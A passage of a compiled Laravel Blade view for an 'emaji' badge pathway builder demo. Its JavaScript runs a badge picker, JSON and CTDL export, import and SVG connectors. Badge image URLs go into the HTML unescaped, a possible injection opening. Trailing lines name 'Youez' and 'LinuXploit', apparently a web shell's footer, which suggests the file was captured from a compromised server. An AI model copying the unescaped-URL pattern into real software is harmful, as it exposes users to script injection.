        // Sequential toggle
        const sequentialToggle = container.querySelector('#sequentialToggle');
        const dropdown = container.querySelector('#pathwayModeDropdown');
        if (sequentialToggle && dropdown) {
            sequentialToggle.addEventListener('click', function(e) {
                e.preventDefault();
                e.stopPropagation();
                this.classList.toggle('open');
                dropdown.classList.toggle('show');
            });
            dropdown.querySelectorAll('.mode-option').forEach(option => {
                option.addEventListener('click', function(e) {
                    e.preventDefault();
                    e.stopPropagation();
                    state.isSequential = this.dataset.sequential === '1';
                    saveState();
                    render();
                });
            });
        }

        // Rule dropdowns
        container.querySelectorAll('.rule-dropdown-toggle').forEach(toggle => {
            toggle.addEventListener('click', function(e) {
                e.preventDefault();
                e.stopPropagation();
                const indicator = this.closest('.section-rule-indicator');
                const dd = indicator.querySelector('.rule-dropdown');
                // Close others
                container.querySelectorAll('.rule-dropdown.show').forEach(d => {
                    if (d !== dd) { d.classList.remove('show'); d.previousElementSibling?.classList.remove('open'); }
                });
                dd.classList.toggle('show');
                this.classList.toggle('open');
            });
        });

        container.querySelectorAll('.rule-option').forEach(option => {
            option.addEventListener('click', function(e) {
                e.preventDefault();
                e.stopPropagation();
                const sectionId = parseInt(this.closest('.section-rule-indicator').dataset.sectionId);
                const section = state.sections.find(s => s.id === sectionId);
                if (section) {
                    section.ruleType = this.dataset.ruleType;
                    section.ruleCount = this.dataset.ruleCount ? parseInt(this.dataset.ruleCount) : null;
                    saveState();
                    render();
                }
            });
        });

        // Close dropdowns on outside click
        document.addEventListener('click', function(e) {
            if (!e.target.closest('.section-rule-indicator')) {
                container.querySelectorAll('.rule-dropdown.show').forEach(d => d.classList.remove('show'));
                container.querySelectorAll('.rule-dropdown-toggle.open').forEach(t => t.classList.remove('open'));
            }
            if (!e.target.closest('.pathway-mode-toggle')) {
                container.querySelector('#sequentialToggle')?.classList.remove('open');
                container.querySelector('#pathwayModeDropdown')?.classList.remove('show');
            }
        });
    }

    // =============================================
    // Badge Picker
    // =============================================
    const badgePickerModal = document.getElementById('badgePickerModal');
    const searchInput = document.getElementById('badge-search-input');
    const loadingEl = document.getElementById('badge-picker-loading');
    const errorEl = document.getElementById('badge-picker-error');
    const errorMsgEl = document.getElementById('badge-picker-error-message');
    const resultsEl = document.getElementById('badge-picker-results');
    const emptyEl = document.getElementById('badge-picker-empty');
    const paginationEl = document.getElementById('badge-picker-pagination');
    const prevBtn = document.getElementById('badge-picker-prev');
    const nextBtn = document.getElementById('badge-picker-next');
    const pageInfoEl = document.getElementById('badge-picker-page-info');

    let currentPickerTarget = null;
    let currentOffset = 0;
    let currentQuery = '';
    let totalResults = 0;
    const limit = 12;
    let searchTimeout = null;
    let parentModal = null;

    function openBadgePicker(target) {
        currentPickerTarget = target;
        currentOffset = 0;
        currentQuery = '';
        searchInput.value = '';

        if (target.parentModalEl) {
            parentModal = bootstrap.Modal.getInstance(target.parentModalEl);
            if (parentModal) parentModal.hide();
            setTimeout(() => {
                new bootstrap.Modal(badgePickerModal).show();
                searchOpenSkillPaths('');
            }, 150);
        } else {
            parentModal = null;
            new bootstrap.Modal(badgePickerModal).show();
            searchOpenSkillPaths('');
        }
    }

    searchInput.addEventListener('input', function() {
        clearTimeout(searchTimeout);
        searchTimeout = setTimeout(() => {
            currentOffset = 0;
            currentQuery = this.value;
            searchOpenSkillPaths(currentQuery);
        }, 300);
    });

    prevBtn.addEventListener('click', () => {
        if (currentOffset > 0) { currentOffset -= limit; searchOpenSkillPaths(currentQuery); }
    });
    nextBtn.addEventListener('click', () => {
        if (currentOffset + limit < totalResults) { currentOffset += limit; searchOpenSkillPaths(currentQuery); }
    });

    badgePickerModal.addEventListener('hidden.bs.modal', function() {
        if (parentModal) {
            setTimeout(() => { parentModal.show(); parentModal = null; }, 150);
        }
    });

    function showLoading() {
        loadingEl.style.display = 'block';
        resultsEl.style.display = 'none';
        emptyEl.style.display = 'none';
        errorEl.style.display = 'none';
        paginationEl.style.display = 'none';
    }

    function showError(message) {
        loadingEl.style.display = 'none';
        resultsEl.style.display = 'none';
        emptyEl.style.display = 'none';
        paginationEl.style.display = 'none';
        errorMsgEl.textContent = message;
        errorEl.style.display = 'block';
    }

    function showResults(badges, meta) {
        loadingEl.style.display = 'none';
        errorEl.style.display = 'none';

        if (badges.length === 0) {
            resultsEl.style.display = 'none';
            paginationEl.style.display = 'none';
            emptyEl.style.display = 'block';
            return;
        }

        emptyEl.style.display = 'none';
        resultsEl.style.display = 'grid';

        resultsEl.innerHTML = badges.map(badge => `
            <div class="badge-picker-item"
                 title="${escapeHtml(badge.name)}${badge.issuer?.name ? ' — ' + escapeHtml(badge.issuer.name) : ''}"
                 data-achievement-id="${escapeHtml(badge.achievement_id)}"
                 data-name="${escapeHtml(badge.name)}"
                 data-image="${escapeHtml(badge.image_url || '')}"
                 data-issuer-name="${escapeHtml(badge.issuer?.name || '')}">
                <img src="${badge.image_url || PLACEHOLDER}" alt="${escapeHtml(badge.name)}" onerror="this.src='${PLACEHOLDER}'">
                <div class="badge-name">${escapeHtml(badge.name)}</div>
                <div class="badge-issuer">${escapeHtml(badge.issuer?.name || '')}</div>
            </div>
        `).join('');

        resultsEl.querySelectorAll('.badge-picker-item').forEach(item => {
            item.addEventListener('click', () => selectBadge(item));
        });

        totalResults = meta.total || badges.length;
        if (totalResults > limit) {
            paginationEl.style.display = 'flex';
            prevBtn.disabled = currentOffset === 0;
            nextBtn.disabled = currentOffset + limit >= totalResults;
            const start = currentOffset + 1;
            const end = Math.min(currentOffset + limit, totalResults);
            pageInfoEl.textContent = `${start}-${end} of ${totalResults}`;
        } else {
            paginationEl.style.display = 'none';
        }
    }

    function searchOpenSkillPaths(query) {
        showLoading();
        const params = new URLSearchParams({ limit: limit, offset: currentOffset });
        if (query) params.set('q', query);

        fetch('/api/pathways/badge-classes?' + params)
            .then(r => r.json())
            .then(data => {
                if (!data.success) { showError(data.error || 'Failed to search OpenSkillPaths'); return; }
                const badges = (data.data || []).map(b => ({
                    achievement_id: b.identifier,
                    name: b.name,
                    image_url: b.image || null,
                    issuer: { name: b.recognizedBy?.name || b.issuer?.name || '' },
                }));
                showResults(badges, data.meta || {});
            })
            .catch(() => showError('Failed to connect to OpenSkillPaths'));
    }

    function selectBadge(item) {
        const badge = {
            achievementId: item.dataset.achievementId,
            title: item.dataset.name,
            imageUrl: item.dataset.image || null,
            issuer: { name: item.dataset.issuerName || '' },
        };

        bootstrap.Modal.getInstance(badgePickerModal).hide();

        if (currentPickerTarget && currentPickerTarget.directMode) {
            if (currentPickerTarget.createSection) {
                addSectionWithBadge(badge, currentPickerTarget.afterSectionId);
            } else {
                addBadgeToSection(currentPickerTarget.sectionId, badge);
            }
            return;
        }

        if (currentPickerTarget && currentPickerTarget.masterMode) {
            state.masterBadge = {
                achievementId: badge.achievementId,
                title: badge.title,
                imageUrl: badge.imageUrl,
            };
            // Also fill the modal fields
            document.getElementById('master-achievement-id').value = badge.achievementId || '';
            document.getElementById('master-badge-title').value = badge.title || '';
            const img = document.getElementById('master-preview-img');
            if (img) {
                img.src = badge.imageUrl || PLACEHOLDER;
                img.classList.toggle('placeholder', !badge.imageUrl);
            }
            const status = document.getElementById('master-preview-status');
            if (status) { status.textContent = 'Badge selected'; status.className = 'badge-preview-status success'; }
        }
    }

    function addBadgeToSection(sectionId, badge) {
        const section = state.sections.find(s => s.id === sectionId);
        if (!section) return;
        section.badges.push({
            id: state.nextBadgeId++,
            achievementId: badge.achievementId,
            title: badge.title,
            imageUrl: badge.imageUrl,
            issuer: badge.issuer || {},
            isOptional: false,
            position: section.badges.length,
        });
        saveState();
        render();
    }

    function addSectionWithBadge(badge, afterSectionId) {
        const newSection = {
            id: state.nextSectionId++,
            title: 'Required Badges',
            description: '',
            ruleType: 'all',
            ruleCount: null,
            position: 0,
            badges: [{
                id: state.nextBadgeId++,
                achievementId: badge.achievementId,
                title: badge.title,
                imageUrl: badge.imageUrl,
                issuer: badge.issuer || {},
                isOptional: false,
                position: 0,
            }],
        };

        if (afterSectionId) {
            const idx = state.sections.findIndex(s => s.id === afterSectionId);
            state.sections.splice(idx + 1, 0, newSection);
        } else {
            state.sections.push(newSection);
        }

        // Recalculate positions
        state.sections.forEach((s, i) => s.position = i);
        saveState();
        render();
    }

    // =============================================
    // Add Section Button (bottom +)
    // =============================================
    document.getElementById('add-section-btn').addEventListener('click', function(e) {
        e.preventDefault();
        e.stopPropagation();
        openBadgePicker({
            directMode: true,
            createSection: true,
            afterSectionId: null,
        });
    });

    // =============================================
    // Master Badge Modal
    // =============================================
    document.getElementById('master-browse-btn').addEventListener('click', function(e) {
        e.preventDefault();
        openBadgePicker({
            masterMode: true,
            parentModalEl: document.getElementById('masterBadgeModal'),
        });
    });

    document.getElementById('saveMasterBadgeBtn').addEventListener('click', function() {
        state.masterBadge = {
            achievementId: document.getElementById('master-achievement-id').value.trim() || null,
            title: document.getElementById('master-badge-title').value.trim() || null,
            imageUrl: document.getElementById('master-preview-img').classList.contains('placeholder')
                ? null
                : document.getElementById('master-preview-img').src,
        };
        saveState();
        bootstrap.Modal.getInstance(document.getElementById('masterBadgeModal')).hide();
        render();
    });

    // Populate master badge modal when shown
    document.getElementById('masterBadgeModal').addEventListener('show.bs.modal', function() {
        const mb = state.masterBadge;
        document.getElementById('master-achievement-id').value = mb.achievementId || '';
        document.getElementById('master-badge-title').value = mb.title || '';
        const img = document.getElementById('master-preview-img');
        if (mb.imageUrl) {
            img.src = mb.imageUrl;
            img.classList.remove('placeholder');
        } else {
            img.src = PLACEHOLDER;
            img.classList.add('placeholder');
        }
        document.getElementById('master-preview-status').textContent = '';
    });

    // =============================================
    // Settings
    // =============================================
    document.getElementById('pathway-title').addEventListener('input', function() {
        state.title = this.value;
        saveState();
    });

    document.getElementById('saveSettingsBtn').addEventListener('click', function() {
        state.title = document.getElementById('settings-title').value.trim() || 'My Pathway';
        state.description = document.getElementById('settings-description').value.trim();
        saveState();
        document.getElementById('pathway-title').value = state.title;
        bootstrap.Offcanvas.getInstance(document.getElementById('settingsPanel')).hide();
    });

    // =============================================
    // Reset
    // =============================================
    document.getElementById('resetBtn').addEventListener('click', function() {
        if (!confirm('Reset pathway? This will clear all badges and sections.')) return;
        localStorage.removeItem('demo-pathway-builder');
        state = JSON.parse(JSON.stringify(DEFAULT_STATE));
        render();
    });

    // =============================================
    // Export
    // =============================================
    document.getElementById('exportPathwayBtn').addEventListener('click', function() {
        const pathway = {
            schemaVersion: '1.0',
            exportedAt: new Date().toISOString(),
            exportedFrom: 'emaji-demo',
            title: state.title,
            description: state.description,
            isSequential: state.isSequential,
            masterBadge: state.masterBadge,
            sections: state.sections.map(s => ({
                position: s.position,
                ruleType: s.ruleType,
                ruleCount: s.ruleCount,
                badges: s.badges.map(b => ({
                    achievementId: b.achievementId,
                    title: b.title,
                    description: b.description || '',
                    imageUrl: b.imageUrl,
                    issuer: b.issuer || {},
                    isOptional: b.isOptional,
                    position: b.position,
                }))
            }))
        };

        const jsonStr = JSON.stringify(pathway, null, 2);
        const blob = new Blob([jsonStr], { type: 'application/json' });
        const url = URL.createObjectURL(blob);
        const filename = (state.title || 'pathway').toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '') + '-pathway.json';
        const a = document.createElement('a');
        a.href = url;
        a.download = filename;
        document.body.appendChild(a);
        a.click();
        document.body.removeChild(a);
        URL.revokeObjectURL(url);
    });

    // =============================================
    // Export CTDL
    // =============================================
    document.getElementById('exportCtdlBtn').addEventListener('click', function() {
        function ruleTypeToLogicType(ruleType) {
            if (ruleType === 'one_of' || ruleType === 'n_of_m') return 'OR';
            return 'AND';
        }

        const destinationId = '_:dest';
        const destinationComponent = {
            '@id':   destinationId,
            '@type': 'ceterms:CredentialComponent',
            ...(state.masterBadge?.title ? { 'ceterms:name': { 'en': state.masterBadge.title } } : {}),
            'ceterms:targetCredential': { '@id': state.masterBadge?.achievementId ?? '' },
        };

        const sectionComponents = state.sections.map((sec, i) => {
            const condition = {
                '@type':                   'ceterms:ComponentCondition',
                'ceterms:logicTypeType':   { '@id': `logicType:${ruleTypeToLogicType(sec.ruleType)}` },
                'ceterms:targetComponent': sec.badges.map(b => ({ '@id': b.achievementId })),
            };
            if (sec.ruleType === 'n_of_m' && sec.ruleCount != null) {
                condition['ceterms:minValue'] = sec.ruleCount;
            }
            return {
                '@id':   `_:section-${i}`,
                '@type': 'ceterms:CredentialComponent',
                ...(sec.title ? { 'ceterms:name': { 'en': sec.title } } : {}),
                ...(sec.description ? { 'ceterms:description': { 'en': sec.description } } : {}),
                'ceterms:hasCondition': condition,
            };
        });

        const ctdl = {
            '@context': {
                'ceterms':  'https://purl.org/ctdl/terms/',
                'logicType': 'https://purl.org/ctdl/vocabs/logicType/',
            },
            '@type': 'ceterms:Pathway',
            'ceterms:name':        { 'en': state.title },
            ...(state.description ? { 'ceterms:description': { 'en': state.description } } : {}),
            'ceterms:isSequential':            state.isSequential ?? false,
            'ceterms:hasDestinationComponent': { '@id': destinationId },
            'ceterms:hasChild': [destinationComponent, ...sectionComponents],
        };

        const jsonStr = JSON.stringify(ctdl, null, 2);
        const blob = new Blob([jsonStr], { type: 'application/ld+json' });
        const url = URL.createObjectURL(blob);
        const filename = (state.title || 'pathway').toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '') + '-ctdl.jsonld';
        const a = document.createElement('a');
        a.href = url;
        a.download = filename;
        document.body.appendChild(a);
        a.click();
        document.body.removeChild(a);
        URL.revokeObjectURL(url);
    });

    // =============================================
    // Import
    // =============================================
    document.getElementById('importPathwayInput').addEventListener('change', function(e) {
        const file = e.target.files[0];
        if (!file) return;

        const reader = new FileReader();
        reader.onload = function(ev) {
            try {
                const imported = JSON.parse(ev.target.result);
                if (!imported.sections || !Array.isArray(imported.sections)) {
                    alert('Invalid pathway file: missing sections');
                    return;
                }

                // Map imported data to state
                state.title = imported.title || 'Imported Pathway';
                state.description = imported.description || '';
                state.isSequential = imported.isSequential || false;
                state.masterBadge = imported.masterBadge || { achievementId: null, title: null, imageUrl: null };
                state.sections = imported.sections.map(s => ({
                    id: state.nextSectionId++,
                    title: s.title || 'Required Badges',
                    description: s.description || '',
                    ruleType: s.ruleType || 'all',
                    ruleCount: s.ruleCount || null,
                    position: s.position || 0,
                    badges: (s.badges || []).map(b => ({
                        id: state.nextBadgeId++,
                        achievementId: b.achievementId,
                        title: b.title,
                        description: b.description || '',
                        imageUrl: b.imageUrl,
                        issuer: b.issuer || {},
                        isOptional: b.isOptional || false,
                        position: b.position || 0,
                    }))
                }));

                saveState();
                render();
            } catch (err) {
                alert('Failed to parse pathway file: ' + err.message);
            }
        };
        reader.readAsText(file);
        this.value = ''; // Reset input
    });

    // =============================================
    // Curved Connectors
    // =============================================
    function drawCurvedConnectors() {
        const isSequential = state.isSequential;

        document.querySelectorAll('.curved-connector-container').forEach(container => {
            const svg = container.querySelector('.curved-connector-svg');
            const toSectionId = container.dataset.toSection;
            const isMasterConnector = container.classList.contains('master-connector');
            const addBtn = container.querySelector('.connector-add-btn');

            const toRow = document.querySelector(`.badge-row[data-section-id="${toSectionId}"]`);
            if (!toRow) return;

            const toCards = toRow.querySelectorAll('.badge-card');
            if (toCards.length === 0) return;

            const containerRect = container.getBoundingClientRect();
            svg.innerHTML = '';

            let startX, startY;
            if (isMasterConnector) {
                startX = containerRect.width / 2;
                startY = 0;
            } else if (addBtn) {
                const btnRect = addBtn.getBoundingClientRect();
                startX = btnRect.left + btnRect.width / 2 - containerRect.left;
                startY = btnRect.bottom - containerRect.top;
            } else {
                startX = containerRect.width / 2;
                startY = 0;
            }

            const toPoints = Array.from(toCards).map(card => {
                const rect = card.getBoundingClientRect();
                return { x: rect.left + rect.width / 2 - containerRect.left, y: containerRect.height };
            });

            const height = containerRect.height;

            toPoints.forEach(toPoint => {
                const path = document.createElementNS('http://www.w3.org/2000/svg', 'path');
                const endX = toPoint.x;
                const endY = isSequential ? height - 10 : height;
                const verticalSpace = endY - startY;
                const cp1Y = startY + verticalSpace * 0.5;
                const cp2Y = startY + verticalSpace * 0.7;
                path.setAttribute('d', `M ${startX} ${startY} C ${startX} ${cp1Y}, ${endX} ${cp2Y}, ${endX} ${endY}`);
                svg.appendChild(path);

                if (isSequential) {
                    const arrow = document.createElementNS('http://www.w3.org/2000/svg', 'polygon');
                    const arrowSize = 8;
                    arrow.setAttribute('points',
                        `${endX - arrowSize/2},${endY + arrowSize} ${endX},${endY} ${endX + arrowSize/2},${endY + arrowSize}`
                    );
                    arrow.classList.add('arrow-up');
                    svg.appendChild(arrow);
                }
            });
        });
    }

    window.addEventListener('resize', drawCurvedConnectors);

    // =============================================
    // Utility
    // =============================================
    function escapeHtml(text) {
        if (!text) return '';
        const div = document.createElement('div');
        div.textContent = text;
        return div.innerHTML;
    }

    // Initial render
    render();
});
</script>
<?php $__env->stopPush(); ?>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/demo/pathway-builder.blade.php ENDPATH**/ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit